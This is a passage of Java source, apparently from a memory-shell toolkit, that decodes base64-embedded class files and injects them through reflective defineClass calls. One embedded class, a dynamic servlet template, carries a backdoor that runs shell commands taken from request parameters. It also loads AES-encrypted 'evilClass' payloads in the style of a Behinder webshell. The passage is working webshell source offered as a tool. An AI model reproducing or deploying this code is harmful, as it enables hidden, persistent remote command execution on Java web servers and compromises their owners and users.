FYAOgCHAGcABQBkACwAiABtAAYAFQB7AHMAiQACAAcAiQCKAIsAAQCUAAQAcwCMAAEAnAAEAHMAjQABAKQABABzAI4AAQAAAKkAYABhAAAAeQAAADoACf8AFAACBwCPBwCQAAEHAJH+AAgHAJEHAJIHAJNqBwCUCf8APQABBwCPAABCBwCVRwcAlkcHAJcEAAIAmAAAAAIAmQB+AAAABgABAJoAAA=="; 44 | byte[] bytes = base64Decoder.decodeBuffer(codeClass); 45 | 46 | Method method = null; 47 | Class clz = classLoader.getClass(); 48 | while(method == null && clz != Object.class ){ 49 | try{ 50 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 51 | }catch(NoSuchMethodException ex){ 52 | clz = clz.getSuperclass(); 53 | } 54 | } 55 | method.setAccessible(true); 56 | clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); 57 | }catch (Exception ex){ 58 | //continue; 59 | } 60 | } 61 | 62 | return clazz; 63 | } 64 | 65 | public static Class getDynamicServletTemplateClass() throws InvocationTargetException, IllegalAccessException, IOException { 66 | ClassLoader cl = Thread.currentThread().getContextClassLoader(); 67 | Class clazz; 68 | try{ 69 | clazz = cl.loadClass("com.memshell.generic.DynamicServletTemplate"); 70 | }catch(ClassNotFoundException e){ 71 | BASE64Decoder base64Decoder = new BASE64Decoder(); 72 | String codeClass = "yv66vgAAADIBUQoAWgCZCgBZAJoJAJsAnAgAnQoAngCfCACgCwChAKIIAKMKAA4ApAoApQCmCgAOAKcJAKgAqQgAqgcAqwgArAgArQgAaggArgcArwoAsACxCgCwALIKALMAtAoAEwC1CAC2CgATALcKABMAuAsAuQC6CgC7AJ8KAKUAvAsAoQC9CwChAL4IAL8KAKUAwAsAoQDBCADCCwDDAMQIAMUKAMYAxwcAyAcAyQoAKACZCwDDAMoKACgAywgAzAoAKADNCgAoAM4KAA4AzwoAJwDQCgDGANEHANIKADIAmQsAoQDTCgDUANUKADIA1goAxgDXCQBZANgIANkHANoHAG8HANsKADoA3AcA3QoA3gDfCgDeAOAKAOEA4goAOgDjCADkBwDlBwDmBwDnCgBGAOgKAFkA6QgA6goAPADrBwDsCgA+AO0JAO4A7wcA8AoAOgDxCADyCgDhAPMKAO4A9AcA9QoAUwDoBwD2CgBVAOgHAPcKAFcA6AcA+AcA+QEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAC1MY29tL21lbXNoZWxsL2dlbmVyaWMvRHluYW1pY1NlcnZsZXRUZW1wbGF0ZTsBAAZkb1Bvc3QBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBAAFrAQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAOZXZpbENsYXNzQnl0ZXMBAAJbQgEACWV2aWxDbGFzcwEACmV2aWxPYmplY3QBABJMamF2YS9sYW5nL09iamVjdDsBAAx0YXJnZXRNZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAqwcAZwcA5wEACkV4Y2VwdGlvbnMBAAVkb0dldAEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwD4BwDbBwDsBwDaBwD6BwDwBwD1BwD2BwD3AQAKU291cmNlRmlsZQEAG0R5bmFtaWNTZXJ2bGV0VGVtcGxhdGUuamF2YQwAXQBeDACBAF4HAPsMAPwA/QEAHlsrXSBEeW5hbWljIFNlcnZsZXQgc2F5cyBoZWxsbwcA/gwA/wEAAQAEdHlwZQcBAQwBAgEDAQAFYmFzaWMMAOQBBAcBBQwBBgEHDAEIAQkHAQoMAQsAaQEAAS8BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQACL0MBABFqYXZhL3V0aWwvU2Nhbm5lcgcBDAwBDQEODAEPARAHAREMARIBEwwAXQEUAQACXEEMARUBFgwBFwEHBwEYDAEZARoHARsMARwBBwwBHAEDDAEdAQcBAARQT1NUDAEeAQcMAR8BIAEAAXUHASEMASIBIwEAA0FFUwcBJAwBJQEmAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEnASgMASkBKgEAAAwBKQErDAEsAQcMAS0BLgwAXQEvDAEwATEBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAEyATMHATQMATUBBwwBNgE3DAE4ATkMAFsAXAEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyDAE6ATsBABBqYXZhL2xhbmcvT2JqZWN0BwE8DAE9AT4MAT8BQAcA+gwBQQFCDAFDAUQBAAZlcXVhbHMBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFFAF4MAGQAZQEAImNvbS5tZW1zaGVsbC5nZW5lcmljLk15Q2xhc3NMb2FkZXIMAUYBRwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFIAUkHAUoMAUsAXAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAUwBSQEDEHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNSTVkyOXRMMjFsYlhOb1pXeHNMMmRsYm1WeWFXTXZUWGxEYkdGemMweHZZV1JsY2pzQkFBRmpBUUFYVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc0JBQXRrWldacGJtVkRiR0Z6Y3dFQUxDaGJRa3hxWVhaaEwyeGhibWN2UTJ4aGMzTk1iMkZrWlhJN0tVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUZZbmwwWlhNQkFBSmJRZ0VBQzJOc1lYTnpURzloWkdWeUFRQUtVMjkxY21ObFJtbHNaUUVBRWsxNVEyeGhjM05NYjJGa1pYSXVhbUYyWVF3QUJnQUhBUUFpWTI5dEwyMWxiWE5vWld4c0wyZGxibVZ5YVdNdlRYbERiR0Z6YzB4dllXUmxjZ3dBRHdBYUFRQVZhbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5QVFBWEtGdENTVWtwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNBSVFBQ0FBVUFBQUFBQUFJQUFBQUdBQWNBQVFBSUFBQUFPZ0FDQUFJQUFBQUdLaXUzQUFHeEFBQUFBZ0FKQUFBQUJnQUJBQUFBQkFBS0FBQUFGZ0FDQUFBQUJnQUxBQXdBQUFBQUFBWUFEUUFPQUFFQUNRQVBBQkFBQVFBSUFBQUFSQUFFQUFJQUFBQVF1d0FDV1N1M0FBTXFBeXErdGdBRXNBQUFBQUlBQ1FBQUFBWUFBUUFBQUFnQUNnQUFBQllBQWdBQUFCQUFFUUFTQUFBQUFBQVFBQk1BRGdBQkFBRUFGQUFBQUFJQUZRPT0MAU0BTgwBTwFQAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAK2NvbS9tZW1zaGVsbC9nZW5lcmljL0R5bmFtaWNTZXJ2bGV0VGVtcGxhdGUBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABtjb20vbWVtc2hlbGwvZ2VuZXJpYy9Db25maWcBAAtnZXRQYXNzd29yZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAJZ2V0SGVhZGVyAQAJZ2V0TWV0aG9kAQAWZ2V0QmVoaW5kZXJTaGVsbFB3ZFB3ZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtC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"; 73 | byte[] bytes = base64Decoder.decodeBuffer(codeClass); 74 | 75 | Method method = null; 76 | Class clz = cl.getClass(); 77 | while(method == null && clz != Object.class ){ 78 | try{ 79 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 80 | }catch(NoSuchMethodException ex){ 81 | clz = clz.getSuperclass(); 82 | } 83 | } 84 | method.setAccessible(true); 85 | clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); 86 | } 87 | 88 | return clazz; 89 | } 90 | } 91 | --------------------------------------------------------------------------------